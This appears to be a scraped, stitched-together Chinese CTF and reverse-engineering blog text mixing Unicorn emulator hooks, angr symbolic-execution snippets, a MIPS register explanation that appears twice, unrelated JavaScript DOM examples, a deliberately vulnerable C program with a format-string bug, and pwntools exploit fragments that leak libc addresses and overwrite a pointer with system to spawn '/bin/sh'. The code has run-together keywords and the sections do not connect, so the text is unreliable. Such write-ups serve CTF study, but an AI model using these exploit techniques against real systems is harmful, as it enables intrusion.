defhook_MemInvalid(uc, access, address, size, value, user_data): if access == UC_MEM_WRITE_UNMAPPED: print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x"%(address, size, value)) # map this memory in with 2MB in size uc.mem_map(0xaaaa0000, 2 * 1024*1024) # return True to indicate we want to continue emulation returnTrue else: # return False to indicate we want to stop emulation returnFalse
defhook_MemAccess(uc, access, address, size, value, user_data): if access == UC_MEM_WRITE: print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x"%(address, size, value)) else: # READ print(">>> Memory is being READ at 0x%x, data size = %u"%(address, size))
defstr2int(s): if s.startswith('0x') or s.startswith("0X"): returnint(s[2:], 16) returnint(s)
defnumToStr(num): amountByte = 0 str = "" whileTrue: if (num == 0): amountByte = 1 break elif (num >= pow(16, amountByte * 2)): amountByte += 1 continue else: break for i inrange(1, amountByte + 1): newNum = num >> 8 myChr = num - newNum * 0x100 str += chr(myChr) num = newNum str = ''.join(reversed(str)) returnstr
defadvance_dump(data, base): PY3K = sys.version_info >= (3, 0) generator = hexdump.genchunks(data, 16) retstr = '' for addr, d inenumerate(generator): # 00000000: line = '%08X: ' % (base + addr * 16) # 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dumpstr = hexdump.dump(d) line += dumpstr[:8 * 3] iflen(d) > 8: # insert separator if needed line += ' ' + dumpstr[8 * 3:] # ................ # calculate indentation, which may be different for the last line pad = 2 iflen(d) < 16: pad += 3 * (16 - len(d)) iflen(d) <= 8: pad += 1 line += ' ' * pad
for byte in d: # printable ASCII range 0x20 to 0x7E ifnot PY3K: byte = ord(byte) if0x20 <= byte <= 0x7E: line += chr(byte) else: line += '.' retstr += line + '\n' return retstr
def_dbg_trace(mu, address, size, self): self._tracks.append(address) ifnot self._is_step and self._tmp_bpt == 0: if address notin self._list_bpt: return
if self._tmp_bpt != address and self._tmp_bpt != 0: return
# -*- coding:UTF-8 -*- from __future__ import print_function from pwn import* from unicorn import * from unicorn.x86_const import * from unicornDbg import uniDbg import ipdb
if simulation.found: solution_state = simulation.found[0] solution = solution_state.posix.dumps(sys.stdin.fileno()) print("[+] Success! Solution is: {}".format(solution.decode("utf-8"))) else: raise Exception('Could not find the solution')
即获取找到的第一串符号,然后输出
(2)位向量输出
这个一般在最开始使用位向量BVS创建输入的时候使用
1 2 3 4 5 6 7 8 9 10 11 12 13
#passwd0 = claripy.BVS('passwd0', passwd_size_in_bits) #passwd1 = claripy.BVS('passwd1', passwd_size_in_bits) #passwd2 = claripy.BVS('passwd2', passwd_size_in_bits) if simulation.found: for solution_state in simulation.found: solution0 = format(solution_state.solver.eval(passwd0), 'x') solution1 = format(solution_state.solver.eval(passwd1), 'x') solution2 = format(solution_state.solver.eval(passwd2), 'x') solution = solution0 + " " + solution1 + " " + solution2 print("[+] Success! Solution is: {}".format(solution)) # print(simgr.found[0].posix.dumps(0)) else: raise Exception('Could not find the solution')
>>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # this is a CLASS >>> proj.hook(0x10000, stub_func()) # hook with an instance of the class >>> proj.is_hooked(0x10000) # these functions should be pretty self-explanitory True >>> proj.hooked_by(0x10000) <ReturnUnconstrained> >>> proj.unhook(0x10000) >>> @proj.hook(0x20000, length=5) ... defmy_hook(state): ... state.regs.rax = 1 >>> proj.is_hooked(0x20000) True
三、命令行使用angr
1.docker环境
1
sudo docker run -it --rm -v $PWD/myTest:/myTest angr/angr
#or such as data = claripy.BVS('data',20*8) p = angr.Project(path_to_binary, auto_load_libs=True) inital_state = p.factory.entry_state(stdin=data) simgr = p.factory.simgr(inital_state,veritesting=True) #get print(simgr.found[0].posix.stdin.concretize())
#list中的向量 flag_chars = [claripy.BVS('flag_%d' % i, 8) for i inrange(28)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) #之后在state中设置stdin=flag即可从命令行输入多组向量
for b in arg1.chop(8): initial_state.add_constraints(b != 0)
③字符约束
1 2 3 4 5 6 7 8 9 10 11 12 13
#可见 for i inrange(36): # We want those flags to be printable characters state.add_constraints(flag.get_byte(i) >= 0x20) state.add_constraints(flag.get_byte(i) <= 0x7e) #Or for i inrange(dataLen): state.solver.add( claripy.Or( *(data.get_byte(i) == x for x in printable) ) )
#当需要从多条路径遍历获取flag时 out = b'' for pp in simulation.deadended: out = pp.posix.dumps(1) ifb'flag{'in out: final_flag = next(filter(lambda s: b'flag{'in s, out.split())) print("[+] Success! Solution is: {0}".format(final_flag))
正常情况下某个 state 被发现是不可满足条件的,那么state会进行回溯,来确定到底是哪个state不被满足,之后所有的state会被放入到stash中。但是有的时候回溯并不好,会比较不容易出结果,尤其是运算量比较大的时候,这时候就可以添加LAZY_SOLVES,不进行检查,先把所有路径跑完。
总的来说LAZY_SOLVES是在路径爆炸和花费在约束求解上的时间之间的平衡。
同样的,有的版本是默认开启,有的是默认关闭,对应修改即可
1 2
state = p.factory.blank_state(addr=START_ADDR, add_options={angr.options.LAZY_SOLVES}) state = p.factory.blank_state(addr=START_ADDR, remove_options={angr.options.LAZY_SOLVES})
同($t0-$t7) $26..$27:($k0,$k1)为操作系统/异常处理保留,至少要预留一个。 异常(或中断)是一种不需要在程序中显示调用的过程。MIPS有个叫异常程序计数器(exception program counter,EPC)的寄存器,属于CP0寄存器,用于保存造成异常的那条指令的地址。查看控制寄存器的唯一方法是把它复制到通用寄存器里,指令mfc0(move from system control)可以将EPC中的地址复制到某个通用寄存器中,通过跳转语句(jr),程序可以返回到造成异常的那条指令处继续执行。MIPS程序员都必须保留两个寄存器$k0和$k1,供操作系统使用。 发生异常时,这两个寄存器的值不会被恢复,编译器也不使用k0和k1,异常处理函数可以将返回地址放到这两个中的任何一个,然后使用jr跳转到造成异常的指令处继续执行。
var tagPArr = document.getElementsByTagName("p")//得到三个结点标签p的数组tagPArr
B.className
1 2 3 4 5 6 7 8
<divclass="example"> A div element with class="example" </div> <divclass="example"> Another div element with class="example" </div> <pclass="example">A p element with class="example"</p>
查找:
1 2
var classExampleArr = document.getElementsByClassName("example") //得到三个结点class为example的数组
//history保存用户访问过的页面,以下为执行回退上一个页面指令 window.history.go(-1); history.go(-3); // Go back three pages history.go(3); // Go forward three pages history.back(); // Same as history.go(-1) history.forward();// Same as history.go(1)
system("echo 'PIG-007!'"); puts("Welcome to my world!I am PIG-007!"); printf("Please input your name:"); read(0,bss,0x100); printf("Hello! "); printf(bss); myFunc(bss,strlen(bss),i); return0; }
同($t0-$t7) $26..$27:($k0,$k1)为操作系统/异常处理保留,至少要预留一个。 异常(或中断)是一种不需要在程序中显示调用的过程。MIPS有个叫异常程序计数器(exception program counter,EPC)的寄存器,属于CP0寄存器,用于保存造成异常的那条指令的地址。查看控制寄存器的唯一方法是把它复制到通用寄存器里,指令mfc0(move from system control)可以将EPC中的地址复制到某个通用寄存器中,通过跳转语句(jr),程序可以返回到造成异常的那条指令处继续执行。MIPS程序员都必须保留两个寄存器$k0和$k1,供操作系统使用。 发生异常时,这两个寄存器的值不会被恢复,编译器也不使用k0和k1,异常处理函数可以将返回地址放到这两个中的任何一个,然后使用jr跳转到造成异常的指令处继续执行。
dbg() #prented random while True: try: add(3,0x48) add(4,0x48) edit(4,p64(system_addr)) edit(3,'/bin/sh\x00') delete(3) delete(4) except: it()
#flag{bdcef975ec2589f3e58d105d06587798}
七、bornote
这道题目贼傻逼,最开始依据urandom申请了一个随机大小chunk,导致堆布局会失效。但是由于题目设置,实际上也就存在大概十来种大小的chunk,选一个实例爆破一下即可。但是最开始我居然还以为这个是很随机的,直接假设申请了240大小的Chunk,结果爆了一晚上都没爆出来,实在是傻逼了。之后就是正常的2.31下的off by null了。
ru("Do you know how to do buffer overflow?\n") sl(payload) ru("I hope you win\n") puts_addr = u64(rc(6).ljust(8,'\x00')) log.info("puts_addr:0x%x"%puts_addr)